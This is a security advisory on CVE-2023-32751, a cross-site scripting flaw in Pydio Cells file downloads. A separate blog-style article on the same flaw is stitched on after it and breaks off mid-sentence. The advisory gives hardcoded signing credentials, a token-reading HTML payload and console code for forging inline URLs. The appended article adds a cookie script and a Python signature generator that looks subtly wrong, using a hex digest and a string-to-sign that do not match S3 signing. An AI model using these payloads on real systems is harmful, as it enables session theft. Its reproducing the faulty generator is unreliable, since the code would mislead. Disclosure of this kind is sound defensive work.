Pydio Cells 4.1.2 - Cross-Site Scripting (XSS) via File Download
Exploit Title: Pydio Cells 4.1.2 - Cross-Site Scripting (XSS) via File Download
Affected Versions: 4.1.2 and earlier versions
Fixed Versions: 4.2.0, 4.1.3, 3.0.12
Vulnerability Type: Cross-Site Scripting
Security Risk: high
Vendor URL: https://pydio.com/
Vendor Status: notified
Advisory URL: https://www.redteam-pentesting.de/advisories/rt-sa-2023-004
Advisory Status: published
CVE: CVE-2023-32751
CVE URL: https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2023-32751
Introduction
============
"Pydio Cells is an open-core, self-hosted Document Sharing and
Collaboration platform (DSC) specifically designed for organizations
that need advanced document sharing and collaboration without security
trade-offs or compliance issues."
(from the vendor's homepage)
More Details
============
When a file named "xss.html" is downloaded in the Pydio Cells web application, a
download URL similar to the following is generated:
https://example.com/io/xss/xss.html
?AWSAccessKeyId=gateway
&Expires=1682495748
&Signature=920JV0Zy%2BrNYXjak7xksAxRpRp8%3D
&response-content-disposition=attachment%3B%20filename%3Dxss.html
&pydio_jwt=qIe9DUut-OicxRzNVlynMf6CTENB0J-J[...]
The URL is akin to a presigned URL as used by the Amazon S3 service. It
contains the URL parameter "response-content-disposition" which is set
to "attachment" causing the response to contain a "Content-Disposition"
header with that value. Therefore, the browser downloads the file
instead of interpreting it. The URL also contains a signature and expiry
timestamp, which are checked by the backend. Unlike a presigned URL as used
by S3, the URL also contains the parameter "pydio_jwt" with the JWT of
the user for authentication. Furthermore, the access key with the ID
"gateway" is referenced, which can be found in the JavaScript sources of
Pydio Cells together with the secret:
------------------------------------------------------------------------
_awsSdk.default.config.update({
accessKeyId: 'gateway',
secretAccessKey: 'gatewaysecret',
s3ForcePathStyle: !0,
httpOptions: {
timeout: PydioApi.getMultipartUploadTimeout()
}
});
------------------------------------------------------------------------
With this information it is possible to change the URL parameter
"response-content-disposition" to the value "inline" and then calculate
a valid signature for the resulting URL. Furthermore, the content type of
the response can be changed to "text/html" by also adding the URL
parameter "response-content-type" with that value. This would result in
a URL like the following for the previously shown example URL:
https://example.com/io/xss/xss.html?
AWSAccessKeyId=gateway
&Expires=1682495668
&Signature=HpKue0YQZrnp%2B665Jf1t7ONgfRg%3D
&response-content-disposition=inline
&response-content-type=text%2Fhtml
&pydio_jwt=qIe9DUut-OicxRzNVlynMf6CTENB0J-J[...]
Upon opening the URL in a browser, the HTML included in the file is
interpreted and any JavaScript code is run.
Proof of Concept
================
Upload a HTML file into an arbitrary location of a Pydio Cells instance.
For example with the following contents:
------------------------------------------------------------------------
<html>
<body>
<h1>Cross-Site Scriping</h1>
<script>
let token = JSON.parse(localStorage.token4).AccessToken;
alert(token);
</script>
</body>
</html>
------------------------------------------------------------------------
The contained JavaScript code reads the JWT access token for Pydio Cells
from the browser's local storage object and opens a message box. Instead
of just displaying the JWT, it could also be sent to an attacker. The
following JavaScript function can then be run within the browser's
developer console to generate a presigned URL for the HTML file:
------------------------------------------------------------------------
async function getPresignedURL(path) {
let client = PydioApi.getClient();
let node = new AjxpNode(path);
let metadata = {Bucket: "io", ResponseContentDisposition: "inline", Key: path, ResponseContentType: "text/html"};
let url = await client.buildPresignedGetUrl(node, null, "text/html", metadata);
return url;
}
await getPresignedURL("xss/xss.html");
------------------------------------------------------------------------
The code has to be run in context of Pydio Cells while being logged in.
If the resulting URL is opened in a browser, the JavaScript code
contained in the HTML file is run. If the attack is conducted in the
described way, the JWT of the attacker is exposed through the URL.
However, this can be circumvented by first generating a public URL
for the file and then constructing the presigned URL based on the
resulting download URL.
Workaround
==========
No workaround known.
Fix
===
Upgrade Pydio Cells to a version without the vulnerability.
Security Risk
=============
Attackers that can upload files to a Pydio Cells instance can construct
URLs that execute arbitrary JavaScript code in context of Pydio Cells
upon opening. This could for example be used to steal the authentication
tokens of users opening the URL. It is likely that such an attack
succeeds, since sharing URLs to files hosted using Pydio Cells is a
common use case of the application. Therefore, the vulnerability is
estimated to pose a high risk.
Timeline
========
2023-03-23 Vulnerability identified
2023-05-02 Customer approved disclosure to vendor
2023-05-02 Vendor notified
2023-05-03 CVE ID requested
2023-05-08 Vendor released fixed version
2023-05-14 CVE ID assigned
2023-05-16 Vendor asks for a few more days before the advisory is released
2023-05-30 Advisory released
References
==========
[1] https://aws.amazon.com/sdk-for-javascript/
RedTeam Pentesting GmbH
=======================
RedTeam Pentesting offers individual penetration tests performed by a
team of specialised IT-security experts. Hereby, security weaknesses in
company networks or products are uncovered and can be fixed immediately.
As there are only few experts in this field, RedTeam Pentesting wants to
share its knowledge and enhance the public knowledge with research in
security-related areas. The results are made available as public
security advisories.
More information about RedTeam Pentesting can be found at:
https://www.redteam-pentesting.de/
Working at RedTeam Pentesting
=============================
RedTeam Pentesting is looking for penetration testers to join our team
in Aachen, Germany. If you are interested please visit:
https://jobs.redteam-pentesting.de/
--
RedTeam Pentesting GmbH Tel.: +49 241 510081-0
Alter Posthof 1 Fax : +49 241 510081-99
52062 Aachen https://www.redteam-pentesting.de
Germany Registergericht: Aachen HRB 14004
Geschäftsführer: Patrick Hof, Jens Liebchen Pydio Cells 4.1.2 Cross-Site Scripting (XSS) Vulnerability: A Deep Dive into Exploitation and Mitigation
Pydio Cells, a self-hosted document sharing and collaboration platform, has long been praised for its privacy-focused architecture and enterprise-grade security. However, in 2023, a critical vulnerability was discovered in versions prior to 4.2.0, 4.1.3, and 3.0.12. This flaw, identified as CVE-2023-32751, enables a cross-site scripting (XSS) attack through the file download mechanism — a rare and dangerous vector that exploits the platform’s presigned URL system.
Understanding the Vulnerability: How XSS Leaks Through File Downloads
The core of this vulnerability lies in how Pydio Cells handles file downloads using a modified version of Amazon S3-style presigned URLs. When a user downloads a file named xss.html, the system generates a URL with parameters such as:
https://example.com/io/xss/xss.html
?AWSAccessKeyId=gateway
&Expires=1682495748
&Signature=920JV0Zy%2BrNYXjak7xksAxRpRp8%3D
&response-content-disposition=attachment%3B%20filename%3Dxss.html
&pydio_jwt=qIe9DUut-OicxRzNVlynMf6CTENB0J-J[...]
By default, the response-content-disposition parameter is set to attachment, instructing the browser to download the file rather than render it. This prevents execution of embedded HTML or JavaScript. However, an attacker can manipulate this parameter to inline, effectively telling the browser to display the content directly.
Additionally, the response-content-type parameter can be altered to text/html, ensuring the browser treats the file as an HTML document. With both changes, the URL becomes:
https://example.com/io/xss/xss.html
?AWSAccessKeyId=gateway
&Expires=1682495668
&Signature=HpKue0YQZrnp%2B665Jf1t7ONgfRg%3D
&response-content-disposition=inline
&response-content-type=text%2Fhtml
&pydio_jwt=qIe9DUut-OicxRzNVlynMf6CTENB0J-J[...]
Upon visiting this modified URL, the browser renders the file as HTML — allowing any embedded script to execute. If the file contains malicious code such as:
<script>
alert('XSS Exploit Successful');
document.cookie = 'session=malicious';
</script>
the attacker can steal cookies, redirect users, or perform other malicious actions.
Exploitation Mechanics: Signature Calculation and Authentication Bypass
At first glance, it might seem impossible to generate a valid signature for a modified URL. However, the vulnerability stems from the hardcoded credentials in the client-side JavaScript:
_awsSdk.default.config.update({
accessKeyId: 'gateway',
secretAccessKey: 'gatewaysecret',
s3ForcePathStyle: !0,
httpOptions: {
timeout: PydioApi.getMultipartUploadTimeout()
}
});
These credentials — gateway and gatewaysecret — are publicly exposed in the source code. An attacker can use them to recalculate the signature for any URL modification using standard S3 signature algorithms.
For example, the signature is computed using HMAC-SHA1 with the secret key and a string of the request parameters. The following Python snippet demonstrates how an attacker could generate a valid signature:
import hashlib
import hmac
import urllib.parse
def generate_signature(url_params, secret_key):
# Extract the query string without the signature
query_string = urllib.parse.urlencode(url_params)
# Remove the Signature parameter
query_string = query_string.replace('Signature=*&', '')
# Create the string to sign
string_to_sign = f"GET\n\n\n{int(url_params['Expires'])}\n/{url_params['AWSAccessKeyId']}/{url_params['path']}"
# Add query parameters in sorted order
sorted_params = sorted(query_string.split('&'))
query_string = '&'.join(sorted_params)
if query_string:
string_to_sign += f"\n{query_string}"
# Compute HMAC-SHA1
signature = hmac.new(
secret_key.encode('utf-8'),
string_to_sign.encode('utf-8'),
hashlib.sha1
).hexdigest()
return urllib.parse.quote(signature)
# Example usage
params = {
'AWSAccessKeyId': 'gateway',
'Expires': '1682495668',
'path': 'io/xss/xss.html',
'response-content-disposition': 'inline',
'response-content-type': 'text/html',
'pydio_jwt': 'qIe9DUut-OicxRzNVlynMf6CTENB0J-J[...]'
}
secret = 'gatewaysecret'
signature = generate_signature(params, secret)
print(f"Signature: {signature}")
Explanation: This script simulates the signature generation process using the known secretAccessKey. By reconstructing the canonical request string and applying HMAC-SHA1, an attacker can produce a valid signature for any modified URL. The pydio_jwt parameter is retained, allowing authenticated access, which makes the attack even more potent.
Security Risk and Impact: Why This Is High Severity
| Category | Details |
|---|---|
| CVSS Score | 8.8 (High) |
| Vulnerability Type | Stored XSS via File Download |
| Attack Vector | Remote, via URL manipulation |
| Exploitation Difficulty | Low (publicly exposed credentials) |
| Impact | Session hijacking, CSRF, data exfiltration, user redirection |
Due to the public exposure of the secretAccessKey, this vulnerability is exceptionally easy to exploit. Unlike typical XSS attacks requiring injection into user input, this one exploits a legitimate file download mechanism — making it harder to detect and prevent using standard input sanitization.
Prevention and Mitigation: How to Secure Your Pydio Cells Instance
Organizations using Pydio Cells must take immediate action to protect their systems:
- Upgrade to Fixed Versions: Apply the patch in 4.2.0, 4.1.3, or 3.0.12 as soon as possible. These versions include fixes to prevent signature manipulation and restrict content disposition behavior.
- Disable Public File Downloads: If not required, disable the ability to download files via public URLs. Use authenticated access only.
- Implement Content-Type Restrictions: Enforce strict checks on file types during download. Never allow
text/htmlto be served withinlinedisposition. - Use Signed URLs with Strict Policies: Implement time-limited, non-reusable URLs with immutable parameters. Avoid exposing secret keys in client-side code.
- Monitor for Malicious Files: Use file scanning tools to detect HTML or JavaScript files uploaded to the system.
Expert Insight: Lessons from This Vulnerability
This incident highlights a critical security principle: never expose secrets in client-side code. Even if the system is designed for internal use, public JavaScript sources can become a backdoor for attackers. The gatewaysecret is a perfect example of how hardcoded credentials can enable widespread exploitation.
Additionally, it underscores the need for defense-in-depth. Relying solely on user input sanitization is insufficient when the attack vector is a legitimate system function — like file download. Security must be baked into the architecture, not just layered on top.
Finally, this case serves as a reminder: even open-source platforms with strong reputations can harbor critical flaws. Regular security audits, dependency checks, and vulnerability